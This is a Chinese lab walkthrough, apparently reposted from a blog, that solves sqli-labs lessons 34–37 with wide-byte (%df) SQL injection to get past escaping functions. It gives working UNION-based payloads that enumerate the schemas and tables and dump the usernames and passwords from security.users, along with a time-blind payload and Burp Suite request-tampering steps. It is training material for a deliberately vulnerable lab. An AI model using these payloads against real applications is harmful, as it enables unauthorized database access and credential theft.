Less34-Less37 (宽字节注入)

Posted 7-58

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Less34-Less37 (宽字节注入)相关的知识,希望对你有一定的参考价值。

Less34:

输入 admin    admin 登录成功

 技术图片

 

 

输入  a   c  登录失败,没有报错信息

 技术图片

 

 

看源码

 技术图片

 

 

 

本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)

分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à ?’

法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

 

 

方法一:

  • 在POST中传入的数据:1 ?‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字
  •  

技术图片

 

 

 技术图片

 

 

 

 技术图片

 

 

 

 

方法二:

输入   a%df’   a%df’

 技术图片

 

 

抓包

 技术图片

 

 技术图片

 

 

  • 但我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可!
  •  

修改信息,forward,intercept is on ,返回关卡界面

 技术图片

 

 技术图片

 

 

 

 Less35: id没有任何包裹

http://192.168.27.156/sqli-labs/Less-35/?id=-1 union select 1,2,3 --+

 技术图片

 

 

因为下面的查询都没有涉及到宽字节,所以下面的跟第1关一样

?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security‘ --+

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+

?id=-1 union select 1,2,group_concat(concat(‘~‘,username,password)) from security.users--+

 

使用时间盲注的方法也可以

http://192.168.27.156/sqli-labs/Less-35/?id=1 and if(length(database())>1,1,sleep(5)  )

 技术图片

 

 

 

Less-36:使用’1’进行包裹   

http://192.168.27.156/sqli-labs/Less-36/?id=1

 技术图片

 

 

http://192.168.27.156/sqli-labs/Less-36/?id=1‘     单引号被转义

 技术图片

 

 

使用宽字节注入

http://192.168.27.156/sqli-labs/Less-36/?id=1%df‘ union select 1,2,3 --+

 技术图片

 

 

http://192.168.27.156/sqli-labs/Less-36/?id=-1%df‘ union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479  --+

技术图片

 

 

http://192.168.27.156/sqli-labs/Less-36/?id=-1%df‘ union select1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

 技术图片

 

 

 

 

 Less37:

 输入  admin   admin   登录成功

 技术图片

 

 

输入 ad  a    登录失败

 技术图片

 

 

可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!

  • 分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à ?‘

方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

方法一:

技术图片

 

 技术图片

 

 

 方法二:抓包

又将 %转化为%25

 技术图片

 

 技术图片

 

 技术图片

 

以上是关于Less34-Less37 (宽字节注入)的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs Less32-Less37

Sqli-Labs less32-37

DAY4:SQL注入3

SQL注入笔记宽字节注入

sqli-labs less34 POST- Bypass AddSlashes (POST型绕过addslashes() 函数的宽字节注入)

SQL注入:sqli-labs 32 宽字节注入